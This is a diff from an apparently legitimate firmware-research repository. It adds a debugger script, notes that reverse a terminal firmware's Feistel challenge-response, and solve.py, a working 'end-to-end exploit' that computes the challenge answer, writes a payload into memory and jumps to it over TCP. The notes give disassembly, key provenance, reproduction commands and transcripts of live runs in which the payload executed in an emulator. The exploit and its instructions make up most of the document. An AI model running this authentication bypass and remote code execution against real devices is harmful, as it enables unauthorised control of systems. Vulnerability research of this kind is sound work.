+ print(string.format("LIVE2 exiting at frame %d (payload seen at %d)", f, done_at))
+ machine:exit()
+ end
+ if f >= 9000 then
+ print("LIVE2 timeout: no payload markers")
+ machine:exit()
+ end
+end, "vt1200-live-verify")
+dbg.execution_state = 'run'
diff --git a/dwt/evidence/scripts/oracle_call.lua b/dwt/evidence/scripts/oracle_call.lua
new file mode 100644
index 0000000..41b9a74
--- /dev/null
+++ b/dwt/evidence/scripts/oracle_call.lua
@@ -0,0 +1,197 @@
+-- oracle_call.lua -- drive the firmware's own dwt_prf transform from the
+-- debugger, with no TCP connection.
+--
+-- At frame 1000:
+-- 0x3F5A9620(1) dwt_prf's allocator/init (Ghidra 0x07EB52C4)
+-- 0x3F5AA2C0(0x1BE810) key schedule from the boot-time block
+-- then, for each vector in VECTORS:
+-- 0x3F5A09C0(BUF, 16) the transform dwt_prf applies to the reply
+-- and prints the 16 output bytes.
+--
+-- Optionally (INVERSE=1) it calls 0x3F5AADA0 (the per-record companion that
+-- looks like the inverse) on the vectors instead.
+--
+-- Output lines: ORACLE
+local machine = manager.machine
+local cpu = machine.devices[':maincpu']
+local dbg = machine.debugger
+local space = cpu.spaces['program']
+if not dbg then machine:exit(); return end
+dbg.visible_cpu = cpu
+
+local ARG = 0x01800000
+local STACK = 0x01840000
+local RET = 0x018c0000
+local BUF = 0x01810000
+local IE = 0x200000
+local INIT = 0x3F5A9620
+local SCHED = 0x3F5AA2C0
+local XFORM = 0x3F5A09C0
+local XFORM1 = 0x3F5AADA0
+
+local INVERSE = (os.getenv("ORACLE_INVERSE") or "") ~= ""
+local COUNT = tonumber(os.getenv("ORACLE_COUNT") or "0")
+
+local f = 0
+local started = false
+local phase = "init" -- init | sched | vectors | dump | done
+local saved = {}
+local idx = 0
+local vectors = {}
+local cur = nil
+
+-- deterministic pseudo-random vectors plus the all-zero and ff cases
+local function make_vectors()
+ vectors[1] = string.rep("\0", 16)
+ vectors[2] = string.rep("\255", 16)
+ local x = 0x12345678
+ for i = 3, COUNT do
+ local t = {}
+ for j = 1, 16 do
+ x = (x * 1103515245 + 12345) & 0x7fffffff
+ t[j] = string.char((x >> 16) & 0xff)
+ end
+ vectors[i] = table.concat(t)
+ end
+end
+
+local function state(name)
+ local r = cpu.state[name]
+ return r and r.value or nil
+end
+
+local function push(v)
+ local sp = state('SP') - 0x20
+ space:write_u32(sp, v)
+ cpu.state['SP'].value = sp
+end
+
+local function setup_call(target, args)
+ saved.pc = state('PC')
+ saved.sp = state('SP')
+ saved.a14 = state('A14')
+ saved.st = state('ST')
+ cpu.state['SP'].value = STACK
+ if #args > 0 then
+ local a = ARG
+ for i = 1, #args do
+ space:write_u32(a, args[i])
+ a = a + 0x20
+ end
+ push(saved.a14)
+ cpu.state['A14'].value = ARG + #args * 0x20
+ else
+ push(saved.a14)
+ cpu.state['A14'].value = ARG
+ end
+ push(RET)
+ cpu.state['PC'].value = target
+ cpu.state['ST'].value = saved.st & ~IE
+ dbg:command('bclear')
+ dbg:command(string.format('bpset %X', RET))
+ dbg.execution_state = 'run'
+end
+
+local function restore()
+ dbg:command('bclear')
+ cpu.state['PC'].value = saved.pc
+ cpu.state['SP'].value = saved.sp
+ cpu.state['A14'].value = saved.a14
+ cpu.state['ST'].value = saved.st
+end
+
+local function hexbytes(addr, n)
+ local t = {}
+ for i = 0, n - 1 do
+ t[#t + 1] = string.format("%02X", space:read_u8(addr + i * 8))
+ end
+ return table.concat(t)
+end
+
+local function writebytes(addr, s)
+ for i = 1, #s do
+ space:write_u8(addr + (i - 1) * 8, s:byte(i))
+ end
+end
+
+local function next_vector()
+ idx = idx + 1
+ if idx > #vectors then
+ phase = "done"
+ restore()
+ machine:exit()
+ return
+ end
+ cur = vectors[idx]
+ writebytes(BUF, cur)
+ if INVERSE then
+ -- per-record inverse companion; call it twice, one 8-byte record each
+ phase = "vec_inv_lo"
+ setup_call(XFORM1, { BUF })
+ else
+ phase = "vec_fwd"
+ setup_call(XFORM, { 16, BUF })
+ end
+end
+
+emu.register_frame_done(function()
+ f = f + 1
+ if f == 1000 and not started then
+ started = true
+ if COUNT < 2 then COUNT = 2 end
+ make_vectors()
+ print(string.format("ORACLE start frame=%d p200=%08X p400=%08X",
+ f, space:read_u32(0x1c0200), space:read_u32(0x1c0400)))
+ phase = "init"
+ setup_call(INIT, { 1 })
+ return
+ end
+ if not started then return end
+ if f % 100 == 0 then
+ print(string.format("ORACLE trace frame=%d phase=%s state=%s pc=%08X sp=%08X",
+ f, phase, tostring(dbg.execution_state),
+ state('PC') or 0, state('SP') or 0))
+ end
+ if f > 1600 and phase ~= "done" then
+ print("ORACLE watchdog: exiting")
+ phase = "done"
+ restore()
+ machine:exit()
+ return
+ end
+ if dbg.execution_state ~= 'stop' then return end
+
+ if phase == "init" then
+ print(string.format("ORACLE init done @1C0200=%08X @1C0220=%08X @1C0240=%08X @1C0260=%08X @1C0400=%08X",
+ space:read_u32(0x1c0200), space:read_u32(0x1c0220),
+ space:read_u32(0x1c0240), space:read_u32(0x1c0260), space:read_u32(0x1c0400)))
+ phase = "sched"
+ setup_call(SCHED, { 0x1be810 })
+ elseif phase == "sched" then
+ local kp = space:read_u32(0x1c0260)
+ local fp = space:read_u32(0x1c0200)
+ print("ORACLE KP=" .. string.format("%08X", kp) .. " FP=" .. string.format("%08X", fp))
+ if kp ~= 0 then print("ORACLE KEY " .. hexbytes(kp, 128)) end
+ if fp ~= 0 then print("ORACLE FTAB " .. hexbytes(fp, 2048)) end
+ -- boot-time inputs the schedule reads
+ print("ORACLE SEED " .. hexbytes(0x1be810, 128))
+ print("ORACLE R1 " .. hexbytes(0x1bed40, 0x38))
+ print("ORACLE R2 " .. hexbytes(0x1bef00, 0x80))
+ print("ORACLE R3 " .. hexbytes(0x1bef80, 0x80))
+ print("ORACLE R4 " .. hexbytes(0x1c0280, 0xE0))
+ next_vector()
+ elseif phase == "vec_fwd" then
+ print("ORACLE " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end)
+ .. " " .. hexbytes(BUF, 16))
+ next_vector()
+ elseif phase == "vec_inv_lo" then
+ phase = "vec_inv_hi"
+ setup_call(XFORM1, { BUF + 0x40 })
+ elseif phase == "vec_inv_hi" then
+ print("ORACLE_INV " .. cur:gsub(".", function(c) return string.format("%02X", c:byte()) end)
+ .. " " .. hexbytes(BUF, 16))
+ next_vector()
+ end
+end, "vt1200-oracle-call")
+
+dbg.execution_state = 'run'
diff --git a/dwt/notes/CHALLENGE_REVERSE.md b/dwt/notes/CHALLENGE_REVERSE.md
new file mode 100644
index 0000000..fbe1335
--- /dev/null
+++ b/dwt/notes/CHALLENGE_REVERSE.md
@@ -0,0 +1,260 @@
+# The `dwt_prf` challenge, reversed — and the remote path is open
+
+Status: **solved.** The 16-byte challenge at bit `0x3F59FDC0` (Ghidra
+`0x07EB3FB8`) can be answered from the challenge alone, offline, with no
+debugger. The reply is computed with `dwt/challenge.py`; two live TCP sessions
+passed the comparison (`memcmp` returned **0**) and ran an 82-byte payload
+through `poke` + `jump`.
+
+ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2`. No driver edits. The
+TCP path needs `VT1200_SKIP_LEVEL1=1`, a documented harness divergence.
+
+---
+
+## 1. Direction: the firmware transforms **our reply** and compares it to the challenge
+
+`dwt_prf`'s post-`recv` code (`reference/dis34-a-v22.txt.gz`, decoded with
+`tools/smart34010/dis34`, base bit `0x3F59FDC0`):
+
+```
+3f5a0140: push 16 ; push a13 ; push 0x7f ; push session
+3f5a01d0: calla L3F5A0B20 ; write_message(flag=0x7F, buf=a13, 16)
+3f5a0200: push 0 ; push 16 ; a11 = a13+0x80 ; push a11 ; push session
+3f5a02b0: calla 0x3f5d8e70 ; recv(session, a13+0x10, 16, 0)
+3f5a0410: ... ntohl(*a13(0x80)) -> *a13(0x80)
+3f5a0490: ... ntohl(*a13(0xa0)) -> *a13(0xa0) ; +0x04
+3f5a0510: ... ntohl(*a13(0xc0)) -> *a13(0xc0) ; +0x08
+3f5a0590: ... ntohl(*a13(0xe0)) -> *a13(0xe0) ; +0x0c
+3f5a0660: calla 0x3f5a9620 ; init(1): F table + key only
+3f5a06c0: calla 0x3f5aa2c0 ; key schedule from 0x1BE810
+3f5a0740: push 16 ; a11 = a13+0x80 ; push a11
+3f5a07b0: calla L3F5A09C0 ; transform(reply, 16) IN PLACE
+3f5a0810: push *a13(0x1a0) ; calla 0x3fb338d0
+3f5a0880: push 16 ; push a11
+3f5a08b0: a9 = a13 + 0x100 (bits) ; = frame+0x20
+3f5a08f0: calla 0x3f942230 ; memcmp(frame+0x20, a11, 16)
+3f5a0930: jreq -> return 1, else return 0
+```
+
+* Four runtime words are stored at `frame+0x20` (bit offsets `0x100/0x120/
+ 0x140/0x160`), **byte-swapped into `frame+0`**, and those network-order bytes
+ are what `write_message` sends. The comparison uses `frame+0x20`, i.e. the
+ host-order copy — the wire challenge with each 32-bit word reversed.
+* The reply is received at `frame+0x10`, `ntohl`'d **in place**, and then
+ `0x3F5A09C0` rewrites `frame+0x10` in place. Live confirmation at the
+ comparison (`dwt/evidence/live-run/debug-live.log`):
+
+```
+LIVE2 challenge sent a13=007AE7B0 wire=3DB79CF3.8EB50000.C0A86302.3EB794F3 host=F39CB73D.0000B58E.0263A8C0.F394B73E
+LIVE2 pre-transform reply=71C08104.AF81012D.BE5884F7.634E8818
+LIVE2 memcmp-args expecting=F39CB73D.0000B58E.0263A8C0.F394B73E got=F39CB73D.0000B58E.0263A8C0.F394B73E
+LIVE2 challenge memcmp a8=00000000 (0=equal)
+```
+
+The client sent wire bytes `f3 9c b7 3d ...` (printed above as little-endian
+word `3DB79CF3`); the host copy at `frame+0x20` is `3d b7 9c f3 ...` — exactly
+`swap4(wire)`. The transform's input (`pre-transform reply`) is
+`04 81 c0 71 ...` = `swap4(reply_wire)`. So:
+
+```
+firmware check: transform(swap4(reply_wire)) == swap4(challenge_wire)
+required reply: reply_wire = swap4(inverse_transform(swap4(challenge_wire)))
+```
+
+**This is the inverse direction.** Echo cannot work, and neither can any
+"computed" byte swap alone. The forward function alone is not enough.
+
+## 2. Why earlier attempts failed to see the structure
+
+Earlier notes described a "font render + Feistel" pipeline with the font tables
+at `@0x1C0220` / `@0x1C0240`. The pipeline does contain two render calls, but
+in the rdebug path they are **memcpy**:
+
+* `0x3F5A9620` is the only initialiser of those globals (its one direct `calla`
+ in the linear disassembly is in `dwt_prf`, which calls it with mode **1**),
+ and at frame 2000 of a booted OS all four globals are still zero — the OS
+ boot never calls it.
+* Mode 1 allocates and fills `@0x1C0200` (the SP tables) and `@0x1C0260`
+ (128-byte key) and returns; it **never allocates** `@0x1C0220` / `@0x1C0240`.
+ A frame-2000 read of all four globals in a booted OS is `0,0,0,0`; after
+ `init(1)` only the first and third are nonzero.
+* The renderer `0x3F5AC710` branches on its table argument: if the table pointer
+ is zero it calls `0x3FE169C0` with 8 bytes, i.e. `memcpy(dest, src, 8)`.
+ Both render calls therefore copy, and the two copies cancel inside one
+ record. What remains is a pure Feistel network.
+
+The "font" part of the pipeline exists, but it is dead on this code path. That
+is why the captured render probes looked nonlinear yet did not fit a font.
+
+## 3. The transform
+
+`0x3F5A09C0` (Ghidra `0x07EB4138`) walks the buffer in **8-byte records**
+(`addi 0x40, a9` = +8 bytes, `subk 8, a10`):
+
+```
+3f5a09f0: a9 = arg0 (buffer), a10 = arg1 (length)
+3f5a0a30: if length == 0 return
+3f5a0a40: push a9 ; calla 0x3f5aba40 ; a9 += 8 bytes ; a10 -= 8 ; loop
+```
+
+Each record is independent of the other. `0x3F5ABA40` (Ghidra `0x07EB5748`)
+does, per record:
+
+1. `render(record, @0x1C0220, scratch)` — memcpy on this path.
+2. `a10 = bswap32(word at scratch+0)`, `a9 = bswap32(word at scratch+4)`
+ (`0x3F5AE670` swaps bytes 0<->3 and 1<->2), i.e. the two halves are read
+ **big-endian**.
+3. 16 Feistel rounds, keys from `@0x1C0260 + 0x78` down to `@0x1C0260 + 0x00`,
+ 8 bytes each (`subi 0x40, a11` after every round):
+
+```
+round n (n = 0..15): k = key[15 - n]
+ n even: a10 ^= F(a9, k)
+ n odd : a9 ^= F(a10, k)
+```
+
+4. `scratch+0 = bswap32(a9)`, `scratch+4 = bswap32(a10)` — written big-endian
+ as `(R, L)`, because `a9` is stored first.
+5. `render(scratch, @0x1C0240, record)` — memcpy back on this path.
+
+### Round function F — `0x3F5ACEC0` (Ghidra `0x07EB59D8`)
+
+`F(x, k8)` forms eight 6-bit indices and ORs one 32-bit word per index:
+
+```
+a2 = rol32(x, 1) (sll 1 + carry of bit 31, or'd in)
+i0 = k[7] ^ a2 i4 = k[3] ^ (x >> 15)
+i1 = k[6] ^ (x >> 3) i5 = k[2] ^ (x >> 19)
+i2 = k[5] ^ (x >> 7) i6 = k[1] ^ (x >> 23)
+i3 = k[4] ^ (x >> 11) i7 = k[0] ^ ((x >> 27) | ((x & 1) << 5))
+each & 0x3F
+```
+
+Table `i` lives at `SP + (7-i)*0x100 + index*4` (64 little-endian 32-bit words
+per table, eight tables = 2048 bytes at `@0x1C0200`). The disassembly's
+`a11 = table + 0x3800 (bits)` then `subi 0x800` per lookup is the same thing in
+bit addresses.
+
+### Key and tables
+
+`0x3F5AA2C0(0x1BE810)` (`0x3F5A9620(1)` → mode 1) derives the 128-byte key from
+boot-time RAM blocks that are themselves boot-time copies of ROM data
+(`0x1BED40`, `0x1BEF00`, `0x1BEF80`, `0x1C0280`). It is **fixed**:
+
+* two fresh-NVRAM boots produced byte-identical key and SP table
+ (`dwt/evidence/oracle-forward-boot1.log` / `boot2.log`);
+* they also match the key captured from a live TCP challenge in the earlier
+ session (`dwt/evidence/run-live/key.bin`, parsed little-endian).
+
+The values embedded in `dwt/challenge.py` are the firmware's own output, not a
+guess: they were extracted by calling the firmware's initialiser in MAME
+(`dwt/evidence/scripts/oracle_call.lua`). They are not a "response table"; the
+response still depends on the per-connection challenge.
+
+## 4. Inverse
+
+A Feistel network is invertible for any F. Running the same rounds backwards
+with the same keys gives the inverse:
+
+```
+forward: L ^= F(R,k15); R ^= F(L,k14); ... ; R ^= F(L,k0) (16 rounds)
+inverse: start from (L,R) = (out[4:8], out[0:4]);
+ for n = 15..0: if n even L ^= F(R,k[15-n]) else R ^= F(L,k[15-n])
+```
+
+The firmware contains this inverse as a separate function, **`0x3F5AADA0`**
+(Ghidra `0x07EB55B4`): same two renders, the same 16 keys in ascending order,
+and the two halves swapped on store. Our `challenge.invert()` matches its
+output on every test vector (6/6, `dwt/evidence/oracle-inverse.log`), which is
+independent confirmation both of the round structure and of the inversion.
+
+## 5. Implementation
+
+`dwt/challenge.py` (standard library only):
+
+```
+respond(challenge_wire) = swap4(invert(swap4(challenge_wire)))
+transform(buf16) / invert(buf16) / check_reply(challenge, reply)
+```
+
+`dwt/solve.py` wraps `dwt/exploit.py` unmodified: it patches
+`RDebug.answer_challenge` to compute the reply with `challenge.respond()`.
+(`dwt/exploit.py --challenge-raw` accepts the same bytes by hand.)
+
+## 6. Validation
+
+| ground truth | result |
+|---|---|
+| 70 vectors from MAME calling the real `0x3F5A09C0`, fresh boot 1 | **70/70** (140 independent records) |
+| same on fresh boot 2 (independent key/table dump) | **70/70** |
+| `dwt/challenge_vectors.json` (other agent, 180 vectors) | **180/180** |
+| firmware's own inverse `0x3F5AADA0` | **6/6** |
+| live wire challenges answered by `respond()` | **3/3** sessions proceeded past the check; `memcmp a8=0` where observed |
+| payload over TCP after the computed answer | `MAGIC1=DEAD MAGIC2=BEEF COUNT=0400`, VRAM 1024/1024 `FFFF`, 0 holes |
+
+The two live runs:
+
+* `dwt/evidence/live-run/` — read-only breakpoints (print `a8`, never write it):
+ two connections, both `memcmp a8=00000000`; the second ran `poke`+`jump`.
+* `dwt/evidence/live-run2/` — **no breakpoints at all** (the Lua script only
+ polls RAM/VRAM once per frame). Client transcript
+ `dwt/evidence/live-run2/client.log`, emulator log
+ `dwt/evidence/live-run2/mame.log`, BOOTP log `serve.log`.
+
+Run 2 transcript:
+
+```
+[+] challenge f7 b4 6c 6b 00 00 6b 3f 02 63 a8 c0 f7 ac 6c 6c
+[+] reply 49 0a ad 58 f1 ea b2 5a 3d fe f0 ee 92 6b 0a 20
+opcode 7 -> Done\n
+peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
+poke-file .../payload.bin: 82 bytes at 0x01800000: ok
+jump 0x01800000: sent
+CHECK payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
+CHECK payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
+```
+
+## 7. Reproduction
+
+```sh
+# offline: known answers and inverse checks
+python3 dwt/challenge.py --selftest
+python3 dwt/challenge.py --challenge f32cec8d0000ead00263a8c0f324ec8e
+
+# emulator ground truth, no network: calls the firmware's own routines
+ORACLE_COUNT=70 VT1200_SKIP_LEVEL1=1 \
+ /home/arti/code/k-space/mame0289/vt1200 vt1200 \
+ -rompath harness/mame/roms -video none -sound none -nothrottle \
+ -debug -debugger none -debuglog -nvram_directory \
+ -autoboot_script dwt/evidence/scripts/oracle_call.lua -autoboot_delay 0
+
+# live (needs the tap + BOOTP; see harness/net-setup.sh, harness/serve.py)
+./harness/net-setup.sh
+sudo python3 -u harness/serve.py 192.168.99.1 --bootp &
+VT1200_SKIP_LEVEL1=1 /home/arti/code/k-space/mame0289/vt1200 vt1200 \
+ -rompath harness/mame/roms -video none -sound none -nothrottle \
+ -debug -debugger none -debuglog -cfg_directory \
+ -nvram_directory -networkprovider taptun \
+ -autoboot_script dwt/evidence/scripts/live_check.lua -autoboot_delay 0
+python3 dwt/solve.py --host 192.168.99.2 --peek 0x3F200000 --len 8 \
+ --poke-file 0x01800000 --file harness/hello-world/payload.bin \
+ --jump 0x01800000
+```
+
+## 8. Caveats and open points
+
+* `VT1200_SKIP_LEVEL1=1` is required for the TCP stack; the result is about the
+ firmware service with the OS up, not about a real terminal's POST.
+* The key is fixed for this firmware image. It is derived at run time from
+ boot-time RAM copies of ROM data, but the derivation itself was not reduced to
+ a ROM-offset formula (`0x3F5AA2C0` has a data-dependent path through
+ `0x1C0280`). The constants were therefore captured from the firmware; this
+ does not affect generality on this image, and the key was verified stable
+ across two fresh boots and against a live challenge.
+* The challenge is not a password in the cryptographic sense: since the key is
+ fixed and the transform is public code, any client that implements it can
+ pass. The earlier "no ROM/NVRAM constant is compared" observation stands;
+ the key material is a runtime table schedule, not a secret in NVRAM.
+* `debug.log` at the repository root was overwritten by MAME's `-debuglog` while
+ running these tests; the live content was copied to
+ `dwt/evidence/live-run/debug-live.log`. It is not part of this change.
diff --git a/dwt/notes/CROSS.md b/dwt/notes/CROSS.md
index 9e68366..f010bfb 100644
--- a/dwt/notes/CROSS.md
+++ b/dwt/notes/CROSS.md
@@ -248,3 +248,40 @@ output bits on average (23–42).
Reproduce: `python3 dwt/oracle.py` (~35 s, two boots + stage capture). No ROM,
driver or `dwt_prf` code was modified; no socket was used for the vectors.
+
+## 2026-10-18 — challenge reversed: the remote path is open (supersedes the echo reading)
+
+**The challenge no longer blocks anything.** `dwt/challenge.py` answers it from
+the challenge bytes alone; `dwt/solve.py` did so over TCP with no debugger:
+
+* The firmware **transforms our reply** and compares it with the host-order copy
+ of the challenge: `memcmp(frame+0x20, transform(frame+0x10), 16)`. The reply
+ must therefore be `swap4(inverse_transform(swap4(challenge)))` — the inverse
+ direction, not echo. Live bytes at the comparison are in
+ `dwt/evidence/live-run/debug-live.log` (`expecting == got`, `a8=0`).
+* The transform is a **16-round Feistel per independent 8-byte record**, keys
+ `key[15]..key[0]` (128-byte schedule at `@0x1C0260`), round function
+ `0x3F5ACEC0` = eight 6-bit SP-table lookups OR'd (`@0x1C0200`, 2048 bytes).
+* The "font renders" at `@0x1C0220`/`@0x1C0240` are **memcpy in this path**:
+ `dwt_prf` calls `0x3F5A9620(1)`, which allocates only the SP table and the
+ key. The font pointers stay NULL (`0,0,0,0` at frame 2000; `init(1)` leaves
+ them zero), and the renderer's table==0 branch is a memcpy. Earlier attempts
+ tried to invert a font stage that never runs here.
+* Key and SP table are fixed: identical across two fresh-NVRAM boots and
+ identical to the earlier live capture. They are embedded in
+ `dwt/challenge.py`; provenance and disassembly are in
+ `dwt/notes/CHALLENGE_REVERSE.md`.
+* Validation: 70/70 + 70/70 emulator forward vectors (140 records each),
+ 180/180 in `dwt/challenge_vectors.json`, 6/6 against the firmware's own
+ inverse `0x3F5AADA0`, and live sessions that ran `peek`, `poke` and `jump`
+ after the computed answer.
+* **Remote execution demonstrated:** the 82-byte `harness/hello-world` payload
+ was poked to bit `0x01800000` and jumped to over TCP; the emulator read back
+ `MAGIC1=DEAD MAGIC2=BEEF COUNT=0400` and 1024/1024 VRAM words `FFFF`.
+ `dwt/evidence/live-run2/` is that run with **no breakpoints at all** (the Lua
+ script only polls RAM). Only `VT1200_SKIP_LEVEL1=1` is needed for TCP.
+
+Files: `dwt/challenge.py`, `dwt/solve.py`, `dwt/notes/CHALLENGE_REVERSE.md`,
+`dwt/evidence/oracle-*.log`, `dwt/evidence/VALIDATION.txt`,
+`dwt/evidence/live-run{,2}/`, `dwt/evidence/scripts/{oracle_call,live_verify,live_check}.lua`.
+`dwt/exploit.py` and `dwt/mop_console.py` were not modified.
diff --git a/dwt/solve.py b/dwt/solve.py
new file mode 100644
index 0000000..7c095e8
--- /dev/null
+++ b/dwt/solve.py
@@ -0,0 +1,101 @@
+#!/usr/bin/env python3
+"""End-to-end dwt_prf exploit over TCP: answer the challenge with computed
+bytes (no debugger, no forced comparison), then poke and run a payload.
+
+This wraps dwt/exploit.py's client; it does not modify it. The only change is
+that ``answer_challenge`` computes the reply with dwt/challenge.py from the
+challenge the terminal just sent, instead of echoing it.
+
+ python3 dwt/solve.py --host 192.168.99.2 \
+ --poke-file 0x01800000 --file harness/hello-world/payload.bin \
+ --jump 0x01800000
+
+With no arguments it runs the liveness opcode and prints the challenge/reply.
+"""
+from __future__ import annotations
+
+import argparse
+import os
+import sys
+import time
+
+HERE = os.path.dirname(os.path.abspath(__file__))
+sys.path.insert(0, HERE)
+
+import challenge # noqa: E402
+import exploit # noqa: E402
+
+# --- the whole bypass: compute the answer from the challenge ----------------
+_orig_answer = exploit.RDebug.answer_challenge
+
+
+def _answer(self, challenge_bytes: bytes) -> None:
+ self.challenge_raw = challenge.respond(challenge_bytes)
+ print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
+ print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True)
+ print(f"[+] reply satisfies firmware comparison: "
+ f"{challenge.check_reply(challenge_bytes, self.challenge_raw)}",
+ flush=True)
+ return _orig_answer(self, challenge_bytes)
+
+
+exploit.RDebug.answer_challenge = _answer
+
+
+def main(argv: list[str]) -> int:
+ ap = argparse.ArgumentParser(description=__doc__,
+ formatter_class=argparse.RawDescriptionHelpFormatter)
+ ap.add_argument("--host", default="192.168.99.2")
+ ap.add_argument("--port", type=int, default=771)
+ ap.add_argument("--timeout", type=float, default=8.0)
+ ap.add_argument("--verbose", action="store_true")
+ ap.add_argument("--liveness", type=int, default=7)
+ ap.add_argument("--poke-file", type=exploit.parse_int)
+ ap.add_argument("--file")
+ ap.add_argument("--poke-chunk", type=int, default=exploit.MAX_XFER)
+ ap.add_argument("--jump", type=exploit.parse_int)
+ ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[])
+ ap.add_argument("--peek", type=exploit.parse_int)
+ ap.add_argument("--len", type=int, default=8)
+ ap.add_argument("--settle", type=float, default=2.0,
+ help="seconds to wait after jump so the payload can run")
+ a = ap.parse_args(argv[1:])
+
+ rd = exploit.RDebug(a.host, a.port, a.timeout, a.verbose)
+ try:
+ rd.connect()
+ flag, payload = rd.liveness(a.liveness)
+ print(f"opcode {a.liveness} -> flag={flag:#04x} payload={payload.hex(' ')}"
+ f" ({payload!r})")
+ if rd.challenge_raw is None:
+ print("error: no challenge was seen", file=sys.stderr)
+ return 2
+ if a.peek is not None:
+ print(f"peek {a.peek:#010x} ({a.len}) -> "
+ f"{rd.peek(a.peek, a.len).hex(' ')}")
+ if a.poke_file is not None:
+ if not a.file:
+ print("error: --poke-file needs --file", file=sys.stderr)
+ return 2
+ data = open(a.file, "rb").read()
+ off = 0
+ while off < len(data):
+ chunk = data[off:off + a.poke_chunk]
+ rd.poke(a.poke_file + off * 8, chunk)
+ off += len(chunk)
+ print(f"poke-file {a.file}: {len(data)} bytes at "
+ f"{a.poke_file:#010x}: ok")
+ if a.jump is not None:
+ rd.jump(a.jump, a.arg, wait=False)
+ print(f"jump {a.jump:#010x}: sent")
+ time.sleep(a.settle)
+ return 0
+ except (OSError, exploit.ProtocolError, ValueError) as exc:
+ print(f"error: {exc}", file=sys.stderr)
+ return 2
+ finally:
+ rd.close()
+
+
+if __name__ == "__main__":
+ raise SystemExit(main(sys.argv))